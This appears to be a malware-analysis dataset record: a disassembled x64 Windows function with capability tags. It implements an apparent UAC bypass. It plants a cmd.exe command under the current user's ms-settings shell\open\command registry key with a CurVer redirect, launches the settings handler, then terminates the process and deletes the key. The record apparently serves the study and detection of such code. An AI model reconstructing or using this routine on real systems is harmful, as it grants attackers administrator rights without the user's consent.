Function at 0x1400010f0
Capabilities:
Create process on windows
Delete registry key
Set registry value
Terminate process

Disassembly:
push rbp
push r12
push r15
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x260], rax
xor r12d, r12d
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x50], r12
mov r15, rdx
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x70], r12
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
test eax, eax
js 0x14000157f
lea rax, [rbp + 0x28]
mov qword [rsp + 0x3b0], rsi
xorps xmm0, xmm0
mov qword [rbp - 0x78], rax
lea r8, [rsp + 0x78]
mov qword [rsp + 0x370], r14
mov edx, 0x2000000
mov dword [rsp + 0x78], 0x30
lea rcx, [rsp + 0x58]
mov qword [rbp - 0x80], r12
movdqu xmmword [rbp - 0x68], xmm0
mov dword [rbp - 0x70], 0x40
call qword [sym.imp.ntdll.dll_NtOpenKey]
lea rdx, str.SoftwareClasses
lea rcx, [rbp + 0x38]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp + 0x38]
xor r9d, r9d
mov qword [rbp - 0x78], rax
lea r8, [rsp + 0x78]
mov rax, qword [rsp + 0x58]
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x80], rax
mov edx, 0x2000000
lea rax, [rbp + 0x20]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ntdll.dll_NtCreateKey]
mov rcx, qword [rsp + 0x58]
mov r14d, r12d
test eax, eax
mov esi, eax
cmovns r14, qword [rsp + 0x70]
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
test esi, esi
js 0x14000159b
xor eax, eax
mov qword [rsp + 0x3a0], rbx
mov qword [rsp + 0x3b8], rdi
mov ecx, 0x208
lea rdi, [rbp + 0x50]
mov qword [rsp + 0x378], r13
rep stosb byte [rdi], al
lea r13, str.lzx32
lea rdi, [rbp + 0x50]
mov rdx, r13
sub rdx, rdi
lea rax, [rbp + 0x50]
lea ecx, [r12 + 0x6c]
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140001240
mov word [rax], r12w
lea rax, [rbp + 0x50]
cmp word [rbp + 0x50], r12w
je 0x14000126a
nop
add rax, 2
cmp word [rax], r12w
jne 0x140001260
mov edi, 0x5c
lea rdx, str._shellopen
movzx ecx, di
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140001280
mov word [rax], r12w
lea rax, [rbp + 0x50]
cmp word [rbp + 0x50], r12w
je 0x1400012aa
nop
add rax, 2
cmp word [rax], r12w
jne 0x1400012a0
lea rbx, [0x140003390]
movzx ecx, di
mov rdx, rbx
sub rdx, rax
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400012c0
mov word [rax], r12w
lea rax, [rbp + 0x50]
cmp word [rbp + 0x50], r12w
je 0x1400012ea
nop
add rax, 2
cmp word [rax], r12w
jne 0x1400012e0
lea rdx, str.command
mov ecx, 0x63
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140001300
mov qword [rsp + 0x40], r12
lea rdx, [rbp + 0x50]
mov word [rax], r12w
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, r14
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000139c
lea rdx, str.C:UsersAndraDesktopcmd.exe
mov rcx, rdx
call fcn.1400010c0
mov rcx, qword [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x68], r12
mov dword [rsp + 0x60], r12d
lea rax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov rcx, qword [rsp + 0x50]
mov esi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
js 0x140001555
lea r8, str.ms_settings
mov qword [rsp + 0x50], r12
lea rax, [rbp + 0x50]
mov edx, 0x6d
sub r8, rax
lea rcx, [rbp + 0x50]
mov word [rcx], dx
lea rcx, [rcx + 2]
movzx edx, word [r8 + rcx]
test dx, dx
jne 0x1400013c0
mov word [rcx], r12w
lea rax, [rbp + 0x50]
cmp word [rbp + 0x50], r12w
je 0x1400013ea
add rax, 2
cmp word [rax], r12w
jne 0x1400013e0
sub rbx, rax
nop dword [rax]
mov word [rax], di
lea rax, [rax + 2]
movzx edi, word [rax + rbx]
test di, di
jne 0x1400013f0
mov word [rax], r12w
lea rax, [rbp + 0x50]
cmp word [rbp + 0x50], r12w
je 0x14000141a
nop
add rax, 2
cmp word [rax], r12w
jne 0x140001410
lea rdx, str.CurVer
mov ecx, 0x43
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x140001430
mov qword [rsp + 0x40], r12
lea rdx, [rbp + 0x50]
mov word [rax], r12w
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, r14
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001555
mov rax, r13
add rax, 2
cmp word [rax], r12w
jne 0x140001483
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x60]
sub rax, r13
mov qword [rsp + 0x68], r12
sar rax, 1
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x60], r12d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r13
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov esi, eax
test eax, eax
js 0x14000153d
xor eax, eax
lea rdi, [rbp - 0x50]
mov ecx, 0x70
rep stosb byte [rdi], al
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x70
mov dword [rbp - 0x4c], 0x440
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], r12
mov dword [rbp - 0x20], 5
mov qword [rbp - 0x40], r12
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14000153d
mov rdi, qword [rbp + 0x18]
test rdi, rdi
je 0x14000153d
mov edx, 0x2ee0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140001531
mov edx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, r12d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rbp + 0x50]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov r13, qword [rsp + 0x378]
mov eax, esi
mov rdi, qword [rsp + 0x3b8]
mov rbx, qword [rsp + 0x3a0]
mov rsi, qword [rsp + 0x3b0]
mov r14, qword [rsp + 0x370]
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.1400015b0
add rsp, 0x380
pop r15
pop r12
pop rbp
ret
mov eax, esi
jmp 0x14000156f